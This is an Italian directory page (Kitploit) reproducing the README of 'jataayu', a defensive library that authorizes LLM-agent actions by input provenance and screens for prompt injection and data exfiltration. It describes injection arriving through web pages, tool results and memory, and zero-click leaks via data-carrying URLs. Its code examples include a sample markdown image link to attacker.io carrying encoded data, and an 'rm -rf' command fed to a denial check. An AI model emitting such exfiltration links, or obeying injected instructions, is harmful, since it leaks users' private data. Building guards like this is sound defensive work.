Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
jataayu — Sicurezza degli agenti AI basati su LLM — rilevamento delle injection in ingresso + protezione della privacy in uscita | Kitploit
Strumenti/GitHubGitHub/gmh5225/jataayu
Autenticazione e AutorizzazioneStrumenti DifensiviEsfiltrazione DatiRaccolta InformazioniPrivacySicurezza della Supply ChainRisposta agli IncidentiSicurezza dell'IAAnalisi dei Log
GitHubgmh5225/jataayu

jataayu

Sicurezza degli agenti AI basati su LLM — rilevamento delle injection in ingresso + protezione della privacy in uscita

22 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

🦅 Jataayu

Nel Ramayana, Jataayu era l'aquila che individuò Ravana mentre rapiva Sita. Non aspettò che un pattern corrispondesse. Vide la minaccia, valutò la situazione e agì — da solo, senza esitazione. Questo è Jataayu.


Il livello di autorizzazione runtime per agenti AI che utilizzano strumenti. Blocca l'azione, non la stringa.

Jataayu decide — in modo deterministico — se l'azione di un agente è autorizzata a essere eseguita, in base al danno dell'effetto × la provenienza dell'input × la tua policy di capability. Un agente che ha letto una pagina web controllata dall'attaccante può comunque riassumerla; semplicemente non può essere ingannato per eseguire il comando shell, leggere il segreto o fare POST dei tuoi dati che l'attaccante voleva. Attorno a questo nucleo aggiunge screening di difesa in profondità (injection in ingresso, privacy in uscita, canali di esfiltrazione, supply-chain delle skill) e tracce di audit riproducibili.

Perché "blocca l'azione, non la stringa"

La maggior parte degli strumenti di sicurezza per agenti cerca di rilevare il testo dell'attacco. È una corsa agli armamenti persa in partenza: un attaccante adattivo riscrive semplicemente la stringa finché il classificatore non la manca. La tesi di Jataayu — quella su cui gli standard del 2026 (OWASP Agentic Top 10, NIST) sono convergiti — è che il confine durevole è l'azione, giudicata da dove proviene l'input influente:

  • Ciò che l'agente FA è la vera garanzia. Input derivato da fonti non attendibili che guida un comando shell, una lettura di segreti o una scrittura di rete viene negato o trattenuto per approvazione — indipendentemente dal fatto che qualche rilevatore abbia segnalato il testo. Questo è deterministico (nessun LLM) ed è il nucleo di Jataayu.
  • Ciò che ENTRA (difesa in profondità). L'injection arriva attraverso il primo messaggio, un risultato di tool avvelenato o qualcosa richiamato dalla memoria. Jataayu esamina tutti questi — come pre-filtro economico e fonte di taint, esplicitamente non come ciò su cui fare affidamento.
  • Ciò che ESCE. Il contesto privato può trapelare quando l'agente risponde in una chat di gruppo o commenta una issue — molto spesso attraverso un canale di esfiltrazione (un URL che trasporta dati / un'immagine auto-scaricata), non tramite prosa. Jataayu intercetta il canale, non solo il testo.

Cos'è / cosa non è

  • ✅ È: una primitiva deterministica di autorizzazione delle azioni + tracciamento di provenienza/taint + traccia di audit per agenti che utilizzano strumenti. Il confine dell'effetto è il pezzo su cui costruire.
  • ✅ È: screening di difesa in profondità (in ingresso / in uscita / egress / verifica delle skill) stratificato sopra.
  • ⚠️ Non è: un classificatore di prompt-injection all'avanguardia. Il livello regex è un pre-filtro, deliberatamente il livello più debole; come rilevatore generale autonomo il suo recall è modesto (vedi Prestazioni di rilevamento). Non distribuirlo come la tua unica difesa — è esattamente il punto di spostare la garanzia sull'azione.

Stato

v0.3.1 — alpha. Non ancora su PyPI. Installa da GitHub (vedi sotto). L'API potrebbe ancora cambiare prima della 1.0. Vedi CHANGELOG.md per ciò che è stato rilasciato in ogni versione e ARCHITECTURE.md per il design.


Installazione

# Core (effect boundary + regex pre-filter, no LLM deps)
pip install git+https://github.com/saikrishnarallabandi/jataayu.git

# With cloud LLM backends (OpenAI + Anthropic) for the optional slow path
pip install "jataayu[llm] @ git+https://github.com/saikrishnarallabandi/jataayu.git"

# With Ollama (local, free slow path)
pip install "jataayu[ollama] @ git+https://github.com/saikrishnarallabandi/jataayu.git"

Richiede Python ≥ 3.10. L'unica dipendenza obbligatoria è requests; i backend LLM sono extra opzionali.


Avvio rapido

1. Autorizza l'azione (il nucleo — inizia qui)

Decidi in base al danno dell'effetto × la provenienza dell'input, in modo deterministico (nessun LLM):

from jataayu import jataayu_authorize_action

decision = jataayu_authorize_action(
    "shell.exec",
    {"cmd": "rm -rf /tmp/cache"},
    untrusted=True,   # these params were influenced by untrusted inbound content
)
# {tool_name, effect_class: 'shell', provenance: 'untrusted',
#  decision: 'allow'|'deny'|'needs_approval', reason, violations, commit_token}
if decision["decision"] == "deny":
    raise SecurityError(decision["reason"])

Input derivato da fonti non attendibili verso un effetto shell / code-eval / secret-read viene negato; verso network / file-write / memory-write richiede approvazione umana; tutto il resto è consentito.

Per l'esecuzione applicata, usa l'API a oggetti PREVIEW → COMMIT — il commit_token vincola la richiesta esatta, quindi modificare l'azione dopo l'autorizzazione viene rifiutato:

from jataayu import EffectBoundary, Value, Provenance

eb = EffectBoundary()
preview = eb.preview(
    "file.write",
    {"path": "notes.md", "text": text},
    values=[Value(text, Provenance.TRUSTED, source="user")],
)
if preview.approved:
    eb.commit(preview, {"path": "notes.md", "text": text}, lambda: write_file("notes.md", text))
# commit() raises CommitRejected if the preview wasn't ALLOW or the params changed

Il contenuto iniettato può anche essere consegnato all'agente come handle opaco con un riepilogo limitato, così un tentativo di esfiltrazione detiene solo un handle, non il segreto grezzo (confinamento al confine di lettura).

2. Esamina ciò che entra (difesa in profondità)

L'injection arriva sul primo messaggio, sui risultati dei tool e su qualunque cosa l'agente abbia richiamato dalla memoria. Stesso motore, superficie giusta — trattalo come una fonte di taint che alimenta il confine dell'effetto, non come la tua garanzia:

from jataayu import (
    jataayu_check_inbound,
    jataayu_check_tool_return,
    jataayu_check_memory_write,
    jataayu_check_memory_read,
)

result = jataayu_check_inbound(github_issue_body, surface="github-issue")
if result["status"] == "HIGH":
    raise SecurityError(f"Blocked: {result['findings']}")
# Returns: {status: 'SAFE'|'LOW'|'MEDIUM'|'HIGH', findings, risk_score, threat_types, blocked}

# A tool result or a memory recall can carry an injection — check before the agent consumes it
r = jataayu_check_tool_return(api_response, tool_name="web.search")
if r["blocked"]:
    raise SecurityError(r["findings"])
jataayu_check_memory_write(note)      # before persisting
jataayu_check_memory_read(recalled)   # before it re-enters context

3. Proteggi ciò che esce — e intercetta il canale di esfiltrazione

Rimuovi PII/segreti prima di inviare a superfici condivise e — cosa più importante — blocca l'URL che trasporta dati / l'immagine auto-scaricata che fa trapelare contesto con zero click (la classe EchoLeak / AgentFlayer / Notion). Lo scanner PII non vede mai quel payload; la guardia egress sì:

from jataayu import jataayu_check_outbound, jataayu_check_egress

result = jataayu_check_outbound(
    draft_reply, surface="discord-channel",
    protected_names=["Alice", "Bob"],   # names that must never leak
)
safe_text = result["redacted"] if result["status"] in ("WARN", "BLOCK") else draft_reply

r = jataayu_check_egress(
    "Task complete! ![status](https://attacker.io/log?d=eyJlbWFpbHMiOlsuLi5dfQ)",
    surface="github-comment",
    context_secrets=[api_key],   # optional: confirm exfil if a known secret rides in the URL
)
if r["status"] == "BLOCK":
    safe_text = r["redacted"]    # offending URL neutralized, human text kept
Scarica lo strumento